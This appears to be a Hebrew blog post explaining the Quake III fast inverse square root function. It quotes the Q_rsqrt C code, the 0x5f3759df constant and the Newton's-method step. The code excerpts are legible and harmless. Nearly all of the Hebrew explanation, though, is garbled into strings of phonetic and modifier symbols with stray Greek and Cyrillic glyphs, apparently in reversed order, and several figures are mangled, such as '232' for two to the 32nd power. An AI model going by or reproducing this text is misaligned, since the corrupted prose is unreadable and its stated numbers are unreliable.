 ˸˪ˣ˩˧˪ ˶˟˰ˬ˷ ˶˟ˡ ˫ˣ˷ ˭˞˩ ˭˧˞ .˸ˣˮ˩˸ ˸ˣ˲˷ ˶˧˩ˬ ˞˪˷ ˧ˬ ˶ˣ˟˰ ,ˢ˶ˣ˷ ˢ˶ˣ˷ ˡˣ˵ˢ ˸˞ ˶˧˟˯ˮ ˣ˞ˣ˟

 ˫˩˪˷ ˢˮ˟ˢˢ-  ˧ˮ˞ "˧˷ˬˬ ˶˲˯ˬ" ˪˰ ˶˟ˡˬ ˧ˮ˞˷˩ :˫ˡˣ˵ ˢ˧ˠˣ˪ˣˮ˧ˬ˶˦ ˢ˲˧˦ ˵˶ .˦ˣ˷˲ ˡˣ˞ˬ ˡˣ˵ ˢˤ

 ˪˷ˬ˪ ,˧ˮˣ˶˷˰ ˠˣ˴˧˧ ˫˰ ˟ˣ˸˩˪ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˶˲˯ˬ ˪˩˪ ˭ˣˣ˩˸ˬ3  ˣ˞3.141  ˣ˞0.333 ˡ˩ˣ ,˵ˣ˧ˡ ˶˸˧˪ .ˢˬˣ

 ˭˲ˣ˞˟ .˨˷ˬˢ˟ ˵˶ ˢ˞˶ˮ ˵ˣ˧ˡ˟ ˣ˪˞ ˧ˬ ˪˟˞ ,˟˷˥ˬ˟ ˠ˴˧˧˪ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˫˩ˣ˸ˬ ˣ˪˞˪ ˵˶ ˭ˣˣ˩˸ˬ ˧ˮ˞

 .˸˧ˮˣ˶˷˰ˢ ˢˡˣ˵ˮˢ ˧˶˥˞ ˫ˣ˪˩ ˣ˪ ˭˧˞˷ ˶˲˯ˬ ˞ˣˢ "˫˪˷ ˶˲˯ˬ" ,ˢˬˣˡ3 ˣ ˫˪˷ ˞ˣˢ-3.1  ˣ˞0.3  ˞˪ ˫ˢ

ˣ˩˧ ˫ˢˬ ˧ˬ ˧˟ˠ˪ ,˰ˠ˶˩ ˶˞˸˞ ˞˪˷ ,ˢ˪˟ˠˢ ˷˧ ˫˧ˬ˪˷ˢ ˪˰ ˫ˠ .˫˧ˬ˪˷˟˷˥ˬ˟ ˠ˴ˣ˧ˬ ˸ˣ˧ˢ˪ ˪. 

  

http://www.gadial.net/wp-content/uploads/2017/08/code.png
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float  Q_rsqrt (  float  number )  

˞ˣˢ ˧ˬ˷ˣ ˢ˧˴˵ˮˣ˲ ˧ˮ˞ ˟ˣ˦ ˶˵ˣ˟ ˫ˣ˪˷" ˸˶ˬˣ˞ ˣˤˢ ˢˮˣ˷˞˶ˢ ˢ˶ˣ˷ˢ Q_rsqrt )˷ ˷˥ˮˬ ˧ˮ˞-rsqrt  ˢˤ

˪˷ ˶ˣ˴˧˵ reciprocal square root - ˫˷˟ ˦˪˵ ˸˪˟˵ˬ ˧ˮ˞ ,(˧˰ˣ˟˧˶ ˷˶ˣ˷ ˪˷ ˧˩˲ˣˢˢ number  ˞ˣˢ˷

 ˫ˠ˷ ˦˪˲ ˢ˶˧ˤ˥ˬˣ ˧˷ˬˬ ˶˲˯ˬˢ˪˧ˬ˟ ˫˧˷ˬ˸˷ˬ ˢˬ˪ ˞ˣˢ ˫˩˪ ˶ˣ˶˟ ˞˪ ˧˪ˣ˞˷ ˢˬ ."˧˷ˬˬ ˶˲˯ˬ ˞ˣˢ 

float ˸˲˷˟˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ ;˧˷ˬˬ ˶˲˯ˬ ˶˞˸˪ ˧ˡ˩ C,  ˠˣ˴˧˧ ˸˦˧˷ ˧ˡ˧ ˪˰ ˫˧ˠ˴ˣ˧ˬ ˫˧˧˷ˬˬ ˫˧˶˲˯ˬ

˸˞˶˵ˮ˷ ˢ˲˴ ˢˡˣ˵ˮ ˢ ˨˷ˬˢ˟ ˶˞˸˞ˣ˶ˬ˞ˬˢˤˢ ˟˪˷˟ ˢ˸ˣ˞ ˭˧˟ˢ˪ ˫˧˩˧˶˴ ˸ˬ˞˟ ˞˪ ˫˸˞ .. 

˫˧ˮ˸˷ˬ ˸ˣ˶˧ˡˠˬ ˸ˣ˞˟ˢ ˸ˣ˶ˣ˷ˢ ˷ˣ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˨˷ˬˢ˟ ˣ˷ˬ˸˷˧ ˫ˢ˟˷ ˫˧˰ˣ˟˵ˣ: 

long  i ;  

float  x2 ,  y ;  

const  float  threehalfs = 1.5F ;  

˫˧ˮ˸˷ˬˢ x2 x-y ˸˞ˤ ˸ˬˣ˰˪ .˫˧˧˷ˬˬ ˫˧˶˲˯ˬ ˫ˢ˧ˮ˷ i ˞ˣˢ ˫˪˷ ˶˲˯ˬ.  ˫˧ˬ˪˷ ˫˧˶˲˯ˬ ˧˩ ˟ˣ˷˥ ˢˤ

ˢ˪˧ˬˢ .˫˧˧˪˪˩ ˫˧˧˷ˬˬ ˫˧˶˲˯ˬ ˶˷˞ˬ ˢˮˣ˷ ˢ˶ˣ˴˟ ˫˧ˠ˴ˣ˧ˬ long  ˸ˣ˦˧˷ ˷˧˷ ˨˩ˬ ˸˰˟ˣˮ ˠ˴˧˧˪ ˸ˣˮˣ˷

˟ ˫˧ˬ˪˷ ˫˧˶˲˯ˬ-C  ˫˪˷ ˶˲˯ˬ˪ ˪˟ˣ˵ˬ ˫˷ .ˠ˴˧˧˪ ˶˷˲˞˷ ˫˧˶˲˯ˬˢ ˪˷ ˧˪ˬ˧˯˵ˬˢ ˪ˡˣˠ˟ ˸ˣ˪ˡ˟ˮ˷

˞ˣˢ int, ˪˷ ˶ˣ˴˧˵ ;Integer ˫˷ˢ long  ˸˧˯˥˧ ˪ˣˡˠ ˸ˣ˧ˢ˪ ˨˪ˣˢ ˫˪˷ˢ ˶˲˯ˬˢ˷ ˶ˬˣ˪ ˞˟-  ˸ˣ˥˲ˢ ˪˩˪

 ˟˧˟˯ ˫˧˶˲˯ˬ ˫ˣ˥˸˟0 ˣ˪ˡˣˠ˷ 232,  ˪˷ ˸ˣ˧ˣ˵ˡ˪ ˢ˲ ˯ˮ˩˧ˮ ˞˪) ˶˸ˣ˧ ˫ˠ ˧˪ˣ˞ˣ˟ ˫˧˯ˣ˲˧˦ ˸ˣ˶ˡˠˢ-C,  ˣˤ

ˢˣˬ˩ ˭˧˞˷ ˢ˰ˣˣˤ.( 

ˢ˶˧ˡˠˬ ˢˮˣ˶˥˞ˢ ˢ˶ˣ˷ˢ ˰ˣ˟˵ :˧˥˩ˣˮˢ ˢ˶˵ˬ˟ .˨˩ ˶˥˞ ˢˮ˸˷˧ ˞˪ˣ ˷˞˶ˬ ˰˟˵ˮ ˣ˩˶˰˷ ˢˮ˸˷ˬ ,

threehalfs  ˶˲˯ˬˢ :ˤˬ˶ˬ ˣˬ˷˷ ˢˬ ˵ˣ˧ˡ˟ ˸ˣ˧ˢ˪ ˶ˡˠˣˬ1.5 ˧ˡ˧ ˪˰ ˞ˣˢ ˣ˪˷ ˠˣ˴˧˧ˢ ˶˷˞˩) float ˢ ˢˤ-F 

˷˩ ,˨˷ˬˢ˟ ?ˢˤˢ ˰ˣ˟˵ˢ ˸˞ ˨˧˶˴ ˢˬ˪ .(˱ˣ˯˟˷ ,ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ ˧˶ˣ˥˞ˬ ˫˧ˡˬˣ˰˷ ˫˧˟ˣ˷˧˥ˢ ˸˞ ˢ˞˶ˮ

ˣˬ˴˰ˬ ˳˴ ˭˩˞ ˞ˣˢ˷ ˢ˞˶ˮ. 

˫ˡˣ˵ ˣ˶ˡˠˣˢ˷ ˫˧ˮ˸˷ˬˢ ˸˞ ˸ˣ˪˥˸˞ˬ ˸ˣ˞˟ˢ ˸ˣ˶ˣ˷ˢ ˧˸˷: 

x2 = number *  0.5F ;  

y = number ;  

˶ˬˣ˪˩ ώ, ˣ ,˦˪˵ ˶ˣ˸˟ ˣˮ˪˟˧˵˷ ˶˲˯ˬˢ ˵ˣ˧ˡ˟ ˰ˠ˶˩ ˞ˣˢ-ὼς ˢˤ ˸˞ ˨˧˶˴ ˢˬ˪ .ˣˮˬˬ ˧˴˥ ˞ˣˢ?  ˶˥˞ ˢ˞˶ˮ

˨˩. 

 ˷ˣ˪˷ˡˣ˵ˢ ˪˩˟ ˶ˣ˶˟ ˞˪ ˧˩ˢ ˵˪˥ˢ ˵˲˯ ˞˪˪ ˭ˢ ˸ˣ˞˟ˢ ˸ˣ˶ˣ˷ˢ: 

i = *  (  long  *  )  &y ;  // evil floating point bit level hacking  

y = *  (  float  *  )  &i ;  

i = 0x5f3759df  -  (  i >> 1 );  // what the fuck?  

˞ˣˢ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˶ˣ˷ˢ ˧˸˷ ˱ˣ˯˟ ˫˧ˮ˯˩ˣ˪ˢ ˠˣˤ ˧˶˥˞ ˰˧˲ˣˬ˷ ˧˪ˠˮ˞ˢ ˦˯˵˦ˢ ,˸˧˷˞˶ ˢ˶˰ˢ,  ˶ˬˣ˪˩

 ˸˞ ˱˧˯ˣˢ˷ ˧ˬ˷ ˷˥ˮˬ ˧ˮ˞ .ˡˣ˵ˢ ˸˞ ˣ˞˶˵˧˷ ˫˧˞˟ˢ ˸ˣ˶ˣˡˢ ˭˰ˬ˪ ˫˷ ˫˧˧˵ ˞˪˞ ˪˰ˣ˲˟ ˳˶ ˞˪˷ ˣˢ˷ˬ

 ˭˸˧ˮ˷ ˧˲˩ˣ ,˫˷ ˢ˷˰ ˞ˣˢ ˫˴˰˟ ˢˬ ˭˧˟ˢ˪ ˢ˯˧ˮ˷ ˣˢ˷˧ˬ ˞˪˞ ˧˶ˣ˵ˬˢ ˸ˮ˩˸ˬˢ ˢ˧ˢ ˞˪ ˣ˪˪ˢ ˸ˣ˶˰ˢˢ

ˣ˸ˣ˞ ˢ˪˟˪˟ ˧ˡ ˸˧˰˴ˬ˞ˢ ˢ˶ˣ˷ˢ ,˸ˣ˞˶˪ é˧˸˪˟ ˭˧˦ˣ˪˥˪ ˭ˢ ˣ˪˪ˢ ˸ˣ˶ˣ˷ˢ ˷ˣ˪˷ ˪˩  ˞˪˷ ˧ˬ˪ ˸ˣ˞˧˶˵
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˶˧˩ˬC  , ˶˲˯ˬˢ ˸˞ ˥˵" ˸˶ˬˣ˞ ˢˮˣ˷˞˶ˢ ˢ˶ˣ˷ˢ :˸ˣ˷ˣ˰ ˭ˢ˷ ˢˬ ˪˷ "˨˶˰˟"ˢ ˸˞ ˶˧˟˯ˢ˪ ˪˵ ˪˟˞

˧˷ˬˬˢ y ˟ ˟˧˴˸ ˢˤ ˸˞ˣ ,˫˪˷ ˶˲˯ˬ ˶ˣ˸˟ ˰ˠ˶˪ ˣ˧˪˞ ˯˥˧˧˸˸ˣ-i ." ˸˞ ˥˵" ˸˶ˬˣ˞ ˢˮˣ˶˥˞ˢ ˢ˶ˣ˷ˢ

˫˪˷ˢ ˶˲˯ˬˢ i ˟ ˟˧˴˸ ˢˤ ˸˞ˣ ˧˷ˬˬ ˶˲˯ˬ ˶ˣ˸˟ ˰ˠ˶˪ ˣ˧˪˞ ˯˥˧˧˸˸ˣ-y ."ˣ˪ ˢ˸˲ˬˢ˲ ˸˰˴˟˸ˬ˷ ˶ˬ 

ˢ˶ˬˢ ˢˤ ˪˟˞ .˨˲ˢˢˣ ,˫˪˷ ˶˲˯ˬ˪ ˧˷ˬˬ ˶˲˯ˬˬ ˞˪ ˷ˬˬ  ˫˩˥ˣ˸ˬ ˨˧˪ˢ˸ ˞˧ˢ ˢ˶ˬˢ .ˢ˲ ˢ˶ˣ˵˷ ˢˬ

˪˷ˬ˪ ,˶˲˯ˬˢ ˪˰ ˢ˧˴˪ˣ˲˧ˮˬ ˸˰˴˟˸ˬ ˣ˟˷ 3.73.7 ˪ ˶ˬˣ˧-33   ˢ˲ ˢ˶ˣ˵˷ ˢˬ .˞˪ .ˢ˶ˬˢ ˫˧˰˴˟ˬ ˶˷˞˩

˸˞ ˫˧˥˵ˣ˪ ˣˮ˥ˮ˞ :˶ˤˣˬ ˶˸ˣ˧ ˞ˣˢ ˟˷˥ˬ˟ ˠ˴ˣ˧ˬ ˧˷ˬˬˢ ˶˲˯ˬˢ ˣ˟˷ ˭˲ˣ˞ˢ  ˢˤˢ ˶˟ˡ˪ ˫˧˯˥˧˧˸ˬˣ

˶ˣ˸˟ ˫˪˷ ˶˲˯ˬ ˪˷ ˟˷˥ˬ˟ ˠˣ˴˧˧.  ˣ˪˪ˢ ˫˧˶˲˯ˬˢ ˧ˠˣ˯ ˧ˮ˷ ˪˷ ˠˣ˴˧˧ˢ ˸ˣ˦˧˷ ˧˩ ˡˣ˞ˬ ˶ˤˣˬ ˪ˣ˪˰˸ ˢˤ

˭ˢ ˸˧˪˩˸˟ ˸ˣˮˣ˷ .˨˷ˬˢ˟ ˢˤ ˪˰ ˦˶˲˞. 

 ˰ˣ˟˵ˢ ,˸˧˷˞˶ .˫˧ˮˣˬ˧˯ˢ ˸˞ ˶˧˩ˢ˪ ˨˧˶˴ ˪˟˞ ,˭˧˟ˢ˪ ˪˵ ˧ˡ ˢ˸ˣ˞ ˞˵ˣˣˡ .˸˧˰˴ˬ˞ˢ ˢ˶ˣ˷ˢ ˢ˰˧ˠˬ ˤ˞ˣ

˧˶ˣ˸˯ˬˢ 0x5f3759df. ˵ˢ˫˪˷ˢ ˶˲˯ˬ˪ ˸˪˟ˣ˵ˬ ˠˣ˴˧˧ ˨˶ˡ ˪˩ˢ ˨˯˟ ˞ˣˢ ˢˤˢ ˰ˣ˟ 1597463007 ˶˷˞˩ ,

˟ ˣ˸ˣ˞ ˫˧˟˸ˣ˩˧˪ˬ˧˴ˡ˯˵ˢ ˯˧˯˟, ˶ˬˣ˪˩ ˢ˶˧˲˯ ˯˧˯˟  ˣˮ˪ ˷˧ ˣ˟˷16 ˢ .˸ˣ˶˲˯-0x  ˭˲ˣ˞ˢ ˞ˣˢ ˢ˪˥˸ˢ˟

˸˲˷˪ ˫˧˰˧ˡˣˬ ˣ˟˷ ˧˦˶ˡˮ˦˯ˢ C " ˯˧˯˟˟ ˶˲˯ˬ ˨˪ ˞˧˟ˬ ˧ˮ˞ ˣ˧˷˩˰ ˢˮˢ16  ˯˧˯˟˟ ˞˪ˣ10  ˨˶ˡ˟ ˣˬ˩

ˢˣ "˪˪˩-d,f  ˶ˣ˟˰ ˸ˣ˶˲˯ˢ ˦ˣ˷˲ ˫ˢ ˫˷ ˫˧˞˴ˬˮ˷ ˣ˪˪ˢ13 x-15. 

ˢ ˧˶ˣ˸˯ˬ ˶˸ˣ˧ ˸˴˵-i >> 1  ˸ˣ˰ˬ˷ˬˢ ˪˟˞ ,ˢˤˢ ˭ˣˬ˧˯˟ ˫˧˷ˬ˸˷ˬ ˵ˣ˧ˡ˟ ˢˬ˪ ˨˷ˬˢ˟ ˶˧˟˯˞ ˧ˮ˞ .ˢˤˢ

 ˢ˦ˣ˷˲ ˣ˪˷- ˟ ˢ˵ˣ˪˥ ˣˤ-2 ˢˬˣ˯˵ˢ ˢ˶ˣ˷ˢ˷ ˢˬ ˪˩ ,˭˩ ˫˞ . ˰ˣ˟˵ˢ ˸˞ ˸˥˵˪ ˞ˣˢ ˢ˷ˣ˰ ˣˤˢ

0x5f3759df  ˫˪˷ ˶˲˯ˬ ˶ˣ˸˟ ˣˢ˷˩˧˞ ˷˶˲˸ˬ ˞ˣˢ ˶˷˞˩ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˦˪˵ˢ" ˸˞ ˣˮˬˬ ˸˧˥˲ˢ˪ˣ

˟ ˵˪ˣ˥ˬˣ-2." 

ˢˬ ˪˧˟˷˟ ?ˢˤ˩ ˶ˤˣˬ ˶˟ˡ ˫˧˷ˣ˰ ˢˬ˪ ?ˢˬ˪? 

ˣˮ˪ ˸ˣˮ˸ˣˮ ˣ˪˪ˢ ˸ˣ˶ˣ˷ˢ˷ ˞˧ˢ ˢ˟ˣ˷˸ˢ ˟ˣ˶˧˵ ˪˷ ˨˶˰˪  
Ѝ
.  ˪˟˞ ,˫˪˷ˣˬ ˸ˣ˧ˢ˪ˬ ˵ˣ˥˶ ˢˤˢ ˟ˣ˶˧˵ˢ

ˢˡˣ˵˟ ˸ˣˮˣ˶˥˞ˢ ˸ˣ˶ˣ˷ˢ ˸ˣ˰˧ˠˬ ˶˸ˣ˧ ˡˣ˰ ˢˤˢ ˟ˣ˶˧˵ˢ ˸˞ ˶˲˷˪ ˧ˡ˩ .ˢ˰˧˸˲ˬ ˢ˶ˣ˴˟ ˟ˣ˦ ˞ˣ: 

y = y *  (  threehalfs -  (  x2 *  y *  y )  );  // 1st iteration  

// y = y * ( threehalfs -  ( x2 * y * y ) ); // 2nd iteration, this can 

be removed  

 ˸˞ ˵ˣ˧ˡ˟ ˭ˢ˧˸˷ ˸ˣ˰˴˟ˬ ˣ˪˪ˢ ˸ˣ˶ˣ˷ˢ˟ˣ˷˧˥ ˣ˸ˣ˞ :ώN ὼώ . ˢ˶˵ˬ˪ ˷ˣˬ˧ˬ ˞ˣˢ ˢˤˢ ˟ˣ˷˧˥ˢ

˸˞˶˵ˮ˷ ˟ˣ˶˧˵ ˸˦˧˷ ˪˷ ˣˮ˪˷ ˧˲˧˴˲˯ˢ ˭ˣ˦ˣ˧ˮ ˸˦˧˷-˭ˣ˯˲˶ ˭ˣ˦ˣ˧ˮ ˸˦˧˷˟ ˭ˣ˧˰˶ˢ .˨˷ˬˢ˟ ˶˞˸˞ˣ- ˭ˣ˯˲˶

 ˫˧˪˧˰˲ˬ ˤ˞ˣ ,ˣ˪˷ ˣˢ˷˪˩ ˟ˣ˶˧˵ ˫˰ ˫˧˪˧˥˸ˬ ,ˣˢ˷ˬ ˢ˸˧˞ ˟˷˥˪ ˫˧˴ˣ˶˷˩ :˸˧˟˧˦˶˦˧˞ ˢ˦˧˷ ˣˤ˷ ˞ˣˢ

˲˷ˬ˷ ˟ˣ˷˧˥ ˢˤˢ ˟ˣ˶˧˵ˢ ˪˰˭ˣ˦ˣ˧ˮ ˪˷ ˢ˪˰˲ˢ ˪˩ ˧˶˥˞ .˟ˣ˷ˣ ,˟ˣ˷ˣ ,˟ˣ˷ ,ˣ˸ˣ˞ ˶- ˣˮ˪˷ ˟ˣ˶˧˵ˢ ˭ˣ˯˲˶

 ˶ˢˬ ˧ˡ ˸˪˰ˣ˲ ˣˤˢ ˢ˦˧˷ˢ .˵˧˯˲ˢ˪ ˶˷˲˞ˣ "ˣˮ˪˷ ˫˧˩˶˴˪ ˵˧˲˯ˬ ˟ˣ˶˵" ˞ˣˢ ˱ˣ˯˟˷ ˡ˰ ˶˲˸˷ˬ-  ˧˲ ˪˰

˷ˣ˪˷ˬ ˶˸ˣ˧ ˨˧˶˴ ˞˪ ˟ˣ˶- ˧ˮ˸˲˞˷ ˣˮ˪˷ ˧˥˩ˣˮˢ ˡˣ˵ˢ ˪˟˞ ,˭˧˧ˣ˴ˬ ˟ˣ˶˧˵˪ ˰˧ˠˢ˪ ˧ˡ˩ ˢ˪˷ ˸ˣ˧˴˶˦˧˞ ˰˟˶˞

 ˶˸ˣ˧- ˷ ˭˰ˣ˦ ˞ˣˢ˧˸˷  ˭˰ˣ˦ ˞ˣˢ !ˢˤˬ ˶˸ˣ˧ ˣ˪˧˲˞ ˭˰ˣ˦ ˞ˣˢ ,˞˪ ,˰ˠ˶ .ˣ˵˧˲˯˧ ˸ˣ˧˴˶˦˧˞

ˢ˧˴˶˦˧˞˷ ˸˥˞  .˫˧ˮ˯˩ˣ˪ ˧ˮ˷˟ ˢ˪˧˥˸ˬ ˞˧ˢ :ˢ˶˰ˢ ˢ˪ˣ˩ ,˟ˣ˦ ˣ˪˩˸˯˸ ˫˞ ,ˢ˧ˮ˷ˢ ˢ˶ˣ˷ˢ !˵˧˲˯˸

 ˸ˮ˩˸ˬˢ ˣˢ˷˧˸ˬˣ ,˪˰ˣ˲˟ ˳˶˷ ˡˣ˵ˢˬ ˵˪˥ ˢ˸˧˧ˢ ˢ˧ˮ˷ˢ ˢ˶ˣ˷ˢ ˶ˣ˵ˬ˟˷ ˞ˣˢ ˢ˶˵˷ ˢˬ˷ ˢ˞˶ˮ˩

http://www.gadial.net/2017/06/11/number_bases/
http://www.gadial.net/2017/06/11/number_bases/
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 ˶ˬ˞ ˧˦ˮˣˣ˪˶ˢ ˡˣ˵ˢ ˡ˥˞ ˡ˴ˬ˷ ˢ˸˧˧ˢ ˢ˞˴ˣ˸ˢˣ "ˢˮ˸˷ˢ ˭˧˧ˮ˰ˬ ˣˢ˷ˬ ˫˞ ˢ˞˶ˮˣ ˢ˸ˣ˞ ˶˧˯ˮ ˣ˞ˣ˟ ˧˧˵ˣ˞"

˧˶ˬˠ˪ ˢ˧ˮ˷ˢ ˢ˶ˣ˷ˢ ˪˰ ˶˸ˣˣ˪ ˦˪˥ˣˢ ˭˩˪ˣ ,˸ˣ˟˧˷˥ ˪˰˟ ˵ˤˮ ˫ˣ˷ ˢ˞˶ˮ ˞˪ ˧ˮ˷ ˡ˴ˬˣ ˶˸ˣ˧ ˶ˢˬ ˳˶. 

 ."˧˸˪˥˸ˢˢ ˟ˣ˶˧˵ˢ" ˪˷ ,˫ˡˣ˵ ˣˮ˧˞˶˷ ˸ˣ˶ˣ˷ˢ ˷ˣ˪˷˟ ˸˰˴˟˸ˬ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˡˣ˟˰ˢ ˶˵˧˰˷ ˶ˬˣ˞ ˢˤ

˩˧˞˭ˣ˦ˣ˧ˮ ˪˷ ˸ˡˡˣ˟ ˢ˪˰˲ˢ ˢ˵˧˲˯ˬ ˣ˧˶˥˞˷ ˢˤ˩˷ ˫˯˵ ˫˷ ˰˴˟˸ˬ ˣˢ˷- ˡˣ˟˰˧ ˵˯˰ˢ ˪˩˷ ˧ˡ˩ ˭ˣ˯˲˶

˟ˣ˦. 

 ˪˷ ˶ˣ˞˧˸ˢˬ ˞˵ˣˣˡ ˪˧˥˸˞ ˭˩˪ .ˢˤ˟ ˢˤ ˧ˣ˪˸ ˧˸˪˟ ˭˲ˣ˞˟ ˭˧˟ˢ˪ ˶˷˲˞ ˡˣ˵ˢ ˪˷ ˣ˪˪ˢ ˫˧˵˪˥ˢ ˧ˮ˷ ˸˞

˭ˣ˦ˣ˧ˮ-˶˧˵ˢ ˸ˣ˶ˣ˷ ˪˷ ˱ˣ˶˧˦ˢ ˪˰ ˶˟ˡ˪ ˶ˣ˟˰˞ ˨˩ ˶˥˞ˣ ,˸˧˯˥˧ ˢ˦ˣ˷˲ ˢ˦˧˷ ˞˧ˢ˷ ,˭ˣ˯˲˶˧˸˪˥˸ˢˢ ˟ˣ. 

˵˶˲ ˧˷˧˪˷ )˭ˣ˦ˣ˧ˮ ˪˷ ˢ˶˧ˢˬˢ ˢ˦˧˷ˢ ˪˷ ˢ˶˧ˢˬ ˢ˶˧˵˯ ˣ˟ˣ-˭ˣ˯˲˶( 

˭ˣ˦ˣ˧ˮ-˸˦˧˷ ˞˧ˢ ˭ˣ˯˲˶ ˟ˣ˶˧˵. ˪˷ˬ˪ ,ˣˢ˷˪˩ ˶˲˯ˬ ˪˷ ˷˶ˣ˷ ˟˷˥˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞Ѝς  ? ˠˣ˴˧˧ˢ ˸˦˧˷˟

 ˨˶˦˴ˮ ˤ˞ .˸ˣ˧˶ˣˤ˥ˬ ˞˪ ˭ˢˣ ,ˢˡˣ˵ˮˢ ˧˶˥˞ ˸ˣ˶˲˯ ˱ˣ˯ˮ˧˞ ˢˤˢ ˶˲˯ˬ˪ ˷˧ ˣˮ˪˷ ˢ˪˧ˠ˶ˢ ˧ˮˣ˶˷˰ˢ

ˢ˷˧˸ˬ ˵˧˯˲ˢ˪˟ ˪˧˥˸ˬ˷ ˶˲˯ˬ ˪˩ ˢˤˢ ˢ˶˵ˬ˟ ?ˣˮ˪ ˵˧˲˯ˬ ˢˤ ˸ˣ˶˲˯ ˰˟˶˞ ˧˶˥˞ ,˶ˬ˞ˮ .ˣ-1.4142 

˭ˣ˦ˣ˧ˮ˷ ˢˬ .ˣˮ˪ ˟ˣ˦ ˵˧˲˯ˬ ˢ˧ˢ˧- ,˟˷˥˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˶˲˯ˬ˪ ˧˸˪˥˸ˢ ˟ˣ˶˧˵ ˸˥˵˪ ˞ˣˢ ˢ˷ˣ˰ ˭ˣ˯˲˶

 ˸ˣ˷ˡ˥ ˸ˣ˵˧ˣˡˬ ˸ˣ˶˲˯ ˢˬ˩ ˫˧˥˧ˣˣ˶ˬ ˣˮ˥ˮ˞ ˶ˣ˲˧˷ ˪˩˟ .˟ˣ˷ˣ ,˟ˣ˷ˣ ,˟ˣ˷ ˢˤˢ ˟ˣ˶˧˵ˢ ˸˞ ˶˲˷˪ ˤ˞ˣ

 ˧˶˥˞˫˧˶˴ˣ˰ ˣˮ˥ˮ˞ ,˸ˣ˶˲˯ ˵˧˲˯ˬ ˣˮ˪ "ˣ˰˟˵˸ˢ"˷ ˫˧˞ˣ˶ ˣˮ˥ˮ˞˷˩ .ˢˡˣ˵ˮˢ. 

˭ˣ˦ˣ˧ˮ ,˸˧˷˰ˬ ?ˢ˶ˣ˵ ˢˤˢ ˫˯˵ˢ ˨˧˞-ˢ˧˴˵ˮˣ˲ ˣˮ˪ ˷˧ :˨˩ ˥˯ˣˮˬ ˭ˣ˯˲˶ ὪȡὙᴼὙ ˞ˣ˴ˬ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ˣ ὼ 

 ˨˩-˷Ὢὼ π ˪˷ ˨ˣ˸˧˥ ˸ˡˣ˵ˮ ˞ˣ˴ˬ˪ ,˞˶˵ˮ˷ ˢˬ Ὢ  ˫˰˶˧˴ ● ˶ˣ˟˰ ,˪˷ˬ˪Ѝς   ˪˰ ˪˩˸˯ˮ ˣˮ˥ˮ˞

ˢ˧˴˵ˮˣ˲ˢ Ὢὼ ὼ ς  ˶ˬ˞ˮ ˪˧ˡ˟ˢ˪) ˡ˟˪˟ ˸ˣ˧˯˧˯˟ ˸ˣ˪ˣ˰˲ ˸ˣ˰˴ˬ˞˟ ˟˷˥˪ ˣˮ˪ ˪˵ ˢ˸ˣ˞˷

ˢ˧˴˵ˮˣ˲ˢˬ Ὢὼ ὼ Ѝς ˞˧ˢ ˨ˣ˸˧˥ˢ ˸ˡˣ˵ˮ ˢ˪˴˞ ˫ˠ˷ ˟-ὼ Ѝς   ˟˷˥˪ ˨˧˞ ˫˧˰ˡˣ˧ ˞˪ ˣˮ˥ˮ˞ ˪˟˞

˞ˣˢ ˣˤˢ ˢ˧˰˟˪ ˫˧˷ˠ˧ˮ ˣˮ˥ˮ˞ ˣ˸ˣ˰˴ˬ˞˟˷ ˧˪˩ˢ .(ˢ˸ˣ˞ ˸˶ˤˠˮˢ ˪˷ Ὢ . ˸˶ˤˠˮ ˪˷ ˧˟˧˦˧˞ˣ˦ˮ˧˞ˢ ˭ˣ˧˰˶ˢ

 ˸˶˷˲˞ˬ ˞˧ˢ˷ ˞ˣˢ˸˞ ˟˶˵˪ ˣˮ˪ Ὢ  ˶˷˧ ˣ˵ ˧ˡ˧ ˪˰ ˢˡˣ˵ˮ ˪˩˟- ˞˶˵ˮ˷ ˢˬ ˧˶˞ˮ˧˪ ˟ˣ˶˧˵ . ˞ˣ˴ˬ˪ ,˶ˬˣ˪˩

ˣˬ˩ ˠˢˮ˸ˬ "˧ˬˣ˵ˬ ˭˲ˣ˞˟"˷ ˶˷˧ ˣ˵ Ὢ .˫˞˷ ˞˧ˢ ˭ˣ˦ˣ˧ˮ ˪˷ ˢ˥ˮˢˢ .Ὢ  ,˸˪˪ˣ˸˷ˬ ˞˪ˣ ˵˧˲˯ˬ ˢˡˬ˥ˮ ˞˧ˢ

˪˷ ˨ˣ˸˧˥ˢ ˸ˡˣ˵ˮ˪ ˫˧˟ˣ˶˵ ˧ˡ ˣ˧˷˩˰ ˶˟˩ ˣˮ˥ˮ˞ ˫˞ˣ Ὢ  ˫˰˶˧˴ὼ , ˨ˣ˸˧˥ˢ ˸ˡˣ˵ˮ ˤ˞ ˟ˣ˶˧˵ˢ ˪˷ 

˧˶˞ˮ˧˪ˢ ˪˷ Ὢ ˶˧˴ ˫˰ ὼ  ˧˥˩ˣˮˢ ˫ˣ˵˧ˬˢ ˶˷˞ˬ ˸˧˸˧ˬ˞ˢ ˨ˣ˸˧˥ˢ ˸ˡˣ˵ˮ˪ ˢ˟ˣ˶˵ ˶˸ˣ˧ ˡˣ˰ ˣ˪˧˲˞ ˢ˧ˢ˸

ˣˮ˪˷. 

 ˢ˦˧˷ˢ ˪˷ ˸˵˧ˣˡˬˢ ˢ˥˯ˣˮ˪ ˰˧ˠˢ˪ ˡˣ˞ˬ ˪˵ ˸˧˟ˣ˷˧˥ ˢˮ˧˥˟ˬ-  ˶˟˩ ˢˤ ˸˞ ˸ˣ˞˶ˢ˪ ˶˷˲˞˷ ,˪˵ ˨˩ ˪˩

˞˪ ˢˬ˪ ˧˸ˮ˟ˢ ˞˪ ˫˰˲ ˱˞ˣ ,˸˧˦˧˪ˮ˞ ˢ˧˶˦ˬˣ˞ˠˣ ˞"ˣˡ˥ ˣˡˬ˪˷ ˫˧ˡ˧ˬ˪˸˪ ˭ˣ˩˧˸˟  ˭ˣ˧˰˶ˢ .ˢˤ ˸˞ ˸ˣ˷˰˪

